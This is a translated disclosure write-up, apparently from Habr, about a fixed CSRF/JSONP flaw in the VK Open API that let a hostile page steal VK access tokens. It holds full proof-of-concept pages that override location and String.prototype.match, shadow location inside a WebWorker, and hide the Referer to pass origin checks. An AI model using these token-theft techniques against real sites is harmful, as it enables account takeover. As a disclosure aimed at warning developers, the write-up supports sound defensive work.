📜 ⬆️ ⬇️

VK Open Api CSRF vulnerability, which allows to get Access Tokens of third-party sites that use authorization via VK

I present to your attention an overview of the vulnerability associated with the incorrect use of JSONP in VK Open Api. In my opinion, the vulnerability is quite serious, because allowed the site of the attacker to get Access Token of another site, if it uses authorization through the VK Open API library. At the moment, the vulnerable code was corrected, the report on HackerOne was closed, the remuneration was paid ($ 1,500).

How it looked


In principle, the process of obtaining a user Access Token by an attacker’s page proceeded according to the standard CSRF vulnerability exploitation scheme:

  1. The user visits the site using the VK Open API library (for example, www.another-test-domain.com ).
  2. Authorized there via VK.
  3. Then he goes to the attacker's website (for example, www.vk-test-auth.com ), which, exploiting the vulnerability, gets Access Token, belonging to the site www.another-test-domain.com .
  4. Having received the Access Token of a user, an attacker can access the VK API with the rights that the user gave to the site www.another-test-domain.com when logging in to it via VK.

Demonstration


The video shows how the “intruder” page on the www.vk-test-auth.com domain gets the VK's Access Token user, who logged in to the www.another-test-domain.com website, despite the fact that in the settings of the VK application, Access is allowed only for the domain www.another-test-domain.com .
')


Of course, I did not register domains, because in this case it does not matter. When the screencast was recorded, they were registered in hosts.

A bit about VK Open API


Excerpt from official documentation:
Open API is a system for developers of third-party sites, which provides the ability to easily authorize VK users on your site. In addition, with the consent of users, you can get access to information about their friends, photos, audio recordings, videos and other VKontakte data for deeper integration with your project.

Those. This is a JS library that allows you to work with the VK API (authorization, calling API methods like 'wall.post', 'audio.get', 'video.add', etc ...) directly from the page of your site. In order to use this library, you need to create a VK application with the “Website” type, specify the domain in the settings, and place a couple of script tags on the page.

Library connection


Example of connecting and initializing the library:

<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script> <script type="text/javascript"> VK.init({ apiId: _APP_ID }); </script> 

Naturally, in the appId parameter, appId can only specify the VK-application ID, in the settings of which the “Base domain” matches the domain of the page on which we connect the library.

Our page can access VK API methods after a user in a pop-up window allows a VK application to access its profile. In order to show this pop-up window, you need to call the VK.Auth.login() method. And after permission is obtained, you can access the VK API. Important note: if a user once gave an application access to his profile, then even after reloading the page, his permission remains in effect: you do not need to call VK.Auth.login() every time. In order to determine whether the user should be asked to provide the site (more precisely, the VK-application of the site) access to his profile, you can use the following code:

 VK.Auth.getLoginStatus(function(resp) { if (resp.session) { //       . //     VK API. } else { //     , //        VK API. VK.Auth.login(...); } }); 

If, when calling VK.init() specify the ID of another application, the domain of which does not match the domain of the page on which the library is launched, nothing should work (even the callback function passed to getLoginStatus() will not be called).

A small caveat: it turns out, this prohibition can be circumvented. In order to make it clearer, I will briefly tell you how the verification of the user's “authorization” in the VK application works.

The principle of checking user authorization


To work with the VK API from the JS code of a web page, the VK.Api.call() method is used, for example:

 //      VK.Api.call('users.get', {}, function(result) { var user; if (result.response) { user = result.response[0]; alert(', ' + user.first_name + ' ' + user.last_name + '!'); } }); 

At the first call of the VK.Api.call() method, the library calls on the VK backend for Access Token. For this, the VK.Api.call() method is called VK.Auth.getLoginStatus() , through which the library gets this token (of course, if only the user has previously granted the site access to his profile). After the token has been received, it requests the API and receives a response from the server. The vulnerability lies in the way of getting and the way of processing the server response in the method VK.Auth.getLoginStatus() . All because of JSONP, or rather, its incorrect use.

Vicious jsonp


Let's take a closer look at the work of the VK.Auth.getLoginStatus() method. In order to get Access Token, a JSONP request is made to the following URL:

  https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456 


Options:


If in the request at the URL above, the domain in HTTP Referrer matches the domain that was specified in the settings of the VK application, or if HTTP Referrer is not transmitted at all (!), Then we get the following answer:

 /* <html><script>window.location='http://vk.com';</script></html> */ if (location.hostname != 'www.example.com') { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a", "expire": 1436755095, "time": 7200, "sig": "12d254526496a6db2af6bed2eb1dd3e7", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); } 

Important: When a JSONP request is sent to the above URL, the browser also sends the user's cookie. Therefore, the server knows on behalf of which VK user the request is being made, and builds a response based on this information.

As I said earlier, the answer is the JS code, in which the following logic: if the domain of the current page ( location.hostname ) is equal to the domain specified in the application settings, call the VK.Auth.lsCb[%__rnd%]() function VK.Auth.lsCb[%__rnd%]() , and as the first argument, we pass an object with Access Token, otherwise we redirect the user to http://vk.com/oauth . What for? This is such a defense. Since if the domain specified in the settings of the VK application was not verified with location.hostname , then anyone could place the following code on their website:

 <script> var VK = { Auth: { lsCb: { 456: function (data) { //   data  Access Token (data.access_token) //      (data.user) } } } } </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"> 

And thus getting Access Token (and with it access to the profile) of each user who visited the attacker's page, if this user provided the site using VK Open API, access to his profile (in the example above, this is www.example.com ) . An attacker can only hide the HTTP Referrer of the page from which the request is made - it is quite simple.

So, protection seems to be working, reconciliation of the current location.hostname with the domain of the VK application restricts access to Tokens by strangers, but ... JavaScript has getters / setters, and browsers have their own peculiarities / oddities for implementing the standard JS (BOM) environment.

Exploitation of Vulnerability


Then I decided to check, but what if a getter is defined for location.hostname , which will always return the string "www.example.com" ? Quickly checking your guess in the console, and making sure that this hack worked at that time:

 //   Chrome-   42- ,  ,    : // Yandex.Browser, Opera (WebKit), Android Chrome, etc… //     ,   ~41  . //  ,   hostname  location  configurable-. location.__defineGetter__('hostname', function () { return '- '; }); console.log(location.hostname); // '- ' 

I decided to try to fool domain verification like this:

 <script> var VK = { Auth: { lsCb: { //         JSONP-   VK 456: function (data) { alert(data.access_token); } } } }; location.__defineGetter__('hostname', function () {return 'www.example.com'}); </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"> 

But there is another problem - HTTP Refferer. After all, with a request on the URL https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456 HTTP Refferer pages will also be transmitted, and if the domain of this page does not match the domain specified in settings VK-applications, we get a redirect to https://vk.com/js/api/openapi_error.js , in which the following code:

 try{console.log('open api access error');}catch(e){} 

But! As I wrote above, if HTTP Refferer is not transmitted at all, then we will get a normal response. I think this was done for two reasons:

  1. HTTP Refferer may not always be transmitted.
  2. This is probably done in order to enable VK Open API to work on pages that do not have a global URL (i.e., the page address is still there, but is available only for your browser, for example, the Data URL, ObjectURL or any some browser extension).

One way to hide the HTTP Refferer is to place on the iframe page, which has a Data URL in src, and another page code in it, in which:

  1. Replaced by location.hostname .
  2. An Access Token receiver function is declared ( VK.Auth.lsCb[456]() ).
  3. Is placed
     <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"> 
    which, in fact, loads the response from the server with a call to the JSONP function VK.Auth.lsCb[456]() .

This page could be placed on any domain, or simply opened in a browser, even without a web server, and it displayed Access Token and user data if it logged in via VK on a site using the VK Open API. For successful exploitation of the vulnerability, it was necessary only to indicate in the request the application ID ( aid parameter) and the site domain to which the application is attached ( location parameter).

How this page looked like:

 <!doctype html> <html> <head> <title> VK JS Api</title> <meta charset="utf-8"> <style> body,html { margin:0; padding:0; width:100%; height:100%; } </style> </head> <body> <iframe src="data:text/html;charset=utf-8,%__%" style="width:100%;height:100%;border:0" /> </body> </html> 

Approximately the %__% in the iframe looked like %__% :

 <!doctype html> <html> <body> <script> //   ,      location.hostname window.location.__defineGetter__('hostname', function () {return 'www.example.com'}); var VK = { Auth: { lsCb:{ 456: function (data) { //     access_token,    if (data.access_token) { //  , , ID  Access Token'a  //    . } else { //      www.example.com,   //    . } } } } }; </script> <!--   aid   ID  VK-  "-",     -     VK,  ,  ,   Access Token      VK API. --> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script> </body> </html> 

Packing this example in the archive, I wrote in VK, and sent them this archive. A couple of days later the vulnerability was fixed. More precisely, after fixing the vulnerability has become even more serious. If it was previously exploited due to the peculiarity of browsers on WebKit, and then up to ~ 42 versions of Google Chrome, now, it has been exploited on all browsers that more or less support JavaScript. Connoisseurs of JS, try to guess from the code below, why did things get worse? Note that there to get the current domain is not used the hostname field (which is configurable), but href , which is NOT configurable, and accordingly, for which you cannot specify a getter that returns the desired value.

The response from the server, after the first fix for the vulnerability:

 /* <html><script>window.location='http://vk.com';</script></html> */ if (!location.href.match(/https?:\/\/www\.mysite\.com\//)) { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a", "expire": 1436755095, "time": 7200, "sig": "12d254526496a6db2af6bed2eb1dd3e7", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); } 

The most obvious is an undefined regular expression, and ... I noticed it only during the preparation of the article. It was possible to simply build the URL of the page that exploits the vulnerability so that it contains a substring matching the regular expression, and everything would work, though, until an anchor "^" added to the regular schedule. But after all, the substitution of the JS browser environment is more interesting!

So, here you can replace the standard match() method from the prototype String . It must be replaced so that it returns true if the first argument is equal to the regular expression "/https?:\/\/www\.mysite\.com\//" , and it doesn’t matter what is in the destination line of the match() method call match() Having finished the demo, I sent an updated version of the demonstration of the vulnerability in VK.

Like last time, it was a page with an iframe, in which src was a Data URL:

 <!doctype html> <html> <body> <script> var VK = { Auth: { lsCb:{ 456: function (data) { if (data.access_token) { App.ready = true; App.access_token = data.access_token; App.first_name = data.user.first_name; App.last_name = data.user.last_name; App.user_id = data.user.id; } App.init(); } } } }, App = { _original_match_method: String.prototype.match, _restoreOriginalMatch: function () { String.prototype.match = this._original_match_method; }, init: function () { //   String.prototype.match() this._restoreOriginalMatch(); if (this.ready) { //  , , ID  Access Token'a  //    . } else { //      www.example.com,   //  VK    . } } }; //   : // 'any string'.match(/https?:\/\/www\.mysite\.com\//) // true // 'any string'.match(/.*/) // ['any string'] (function () { var original_match = String.prototype.match; String.prototype.match = function () { // ,      -,   -  . return arguments[0] == '/https?:\\/\\/www\\.mysite\\.com\\//' ? true : original_match.apply(this, arguments); } })(); </script> <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script> </body> </html> 

By sending all this I waited.

Moving to a new level: WebWorkers


Some time after I sent the last demo, the vulnerability was fixed. And again, I decided to try to figure out how to fix the vulnerability.

As before, to get the Access Token of the user, a JSONP request was made to the VK server, and the response was still the same reconciliation of the current domain with the VK application domain:

 /* <html><script>window.location='http://vk.com';</script></html> */ if ( location.href !== (location.protocol == 'https:' ? 'https' : 'http') + '://www.example.com' + (location.port ? ':' + location.port : '') + '/' + location.pathname.slice(1) + location.search + location.hash ) { window.location.href = 'http://vk.com/oauth'; for (;;); } else { VK.Auth.lsCb[456]({ "auth": true, "access_token": "512aae7f9e9070f3bbb1600b934238546e4567892q2fj29739242e2b66521da110fdf5nmj9fee6ce8", "expire": 1438739486, "time": 7200, "sig": "53aa7a11c2431d96v8765e1b3c7q2c22", "secret": "oauth", "user": { "id": "%ID_%", "domain": "%_%", "href": "https:\/\/vk.com\/%__id_%", "first_name": "%%", "last_name": "%%", "nickname": "" } }); } 

The check seems flawless because To obtain the current domain, a NOT configurable field location.href (i.e. getter / setter cannot be hung on it). How many do not try, it seems, in the environment of the browser's UI-stream (where the global object is a window ) location cannot be changed ... But we still have the WebWorker environment! After checking your guess, it became clear that in the Worker's environment ( DedicatedWorkerGlobalScope ) the location field of the self object can simply be covered with an object with the fields href , hostname , etc. Why? It's simple: the location object is not in the self object itself, but in its prototype, so the var location = {}; instruction var location = {}; performed in Worker's global scope, or Object.defineProperty(self, 'location', {value: ... }) simply overlap the location from the prototype of the self object (that is, adds to the self object its own location field ). Thus, the code that will be loaded via self.importScripts() when accessing the location will receive our object, not the original one. By the way, in the browser's UI environment such a trick will not work: there the location object is implemented as its own field of the window object, which you can’t block by anything.

A small example of how this works:

 <!doctype html> <html> <head> <title>Workers</title> <meta charset="utf-8" /> </head> <body> <script> (function () { var worker, //       ,   Worker'. //  ,       , //        . worker_code = (function () { //   location var location = { // URL ,    href: 'http://www.example.com/', search: '', hash: '', pathname: '' }, VK = { Auth: { lsCb: { //  -   access_token' 456: function (data) { //  UI-   self.postMessage(data); } } } }; //    Access Token'  (   ). //   , -  42-  Chrome,    importScripts() //   Refferer,    Worker'  ObjectURL, //    .   referrer     ,   //      VK. importScripts('https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456'); }).toString(); //      "function () {"  ,  "}"   worker_code = worker_code.substring(worker_code.indexOf('{') + 1, worker_code.length - 1); worker = new Worker( //  ObjectURL,         Worker'a URL.createObjectURL( new Blob([worker_code], {type: 'application/javascript'}) ) ); worker.addEventListener('message', function (e) { if (e.data.auth) { alert(e.data.access_token); } else { alert('  VK   www.example.com    '); } }, false); }()); </script> </body> </html> 

Thus, we have the ability to replace the JS API more abruptly than in the UI stream. Having made all this “interesting,” I waited for an answer. After a while, the vulnerable code in openapi.js was fixed. Now, to get Access Token, the library makes a cross-domain query on the backend of VK using the technology of Cross-origin resource sharing .

In an interesting way


After sending the first two demos, it seemed to me that it was somehow wrong to implement the demo in the form of a simple display to the user Access Token'a ... And after some hesitation, I decided to make a patch for the VK Open API library (http://vk.com/js /api/openapi.js) so that she herself knows how to exploit the vulnerability.

What eventually happened:

 <!doctype html> <html> <head> <!--  VK Open Api --> <script src="http://vk.com/js/api/openapi.js"></script> <!--  ,     openapi.js    VK API   ,     . ..     ,    . . --> <script src="vk_opanapi_insecure_patch.js"></script> </head> <body> <script> VK.init({ //   - ID VK  apiId: 1234567, //   vk_opanapi_insecure_patch.js,  openapi.js  , //  JSONP-   Access Token'    Worker'a, //   UI-      . appDomain: 'www.example.com' }); //       "appDomain", //     API     ID "1234567"  , //        "www.example.com". VK.Api.call('users.get', {}, function(r) { if(r.response) { alert(' : ' + r.response[0].first_name + ' ' + r.response[0].last_name); } }); </script> </body> </html> 

Link to the archive .

findings


Sometimes the tool that you use for a long time, surprises. Sometimes in the form of serious vulnerabilities. However, there is a general rule: never pass sensitive data through JSONP. Even when the validation code of the recipient of the JSONP response seems flawless, it turns out that you can replace the JS browser environment (BOM) so that the entire check before passing the token to the page code is reduced to nothing. In general, it's time to abandon JSONP in favor of CORS.

In this publication, I in no way wanted to put the VK Open API developers in a bad light. On the contrary: the guys are great, they are developing a cool service, on cool technologies with excellent documentation and support service. And everyone can make a mistake. The main reason why I decided to write an article was the desire to warn web developers against such errors.

Basically, that's all. I planned to describe the essence of vulnerability in several paragraphs, but after writing each paragraph I had a feeling of understatement. So this has turned the veil of text.

Thank you for attention!

Source: https://habr.com/ru/post/271031/


All Articles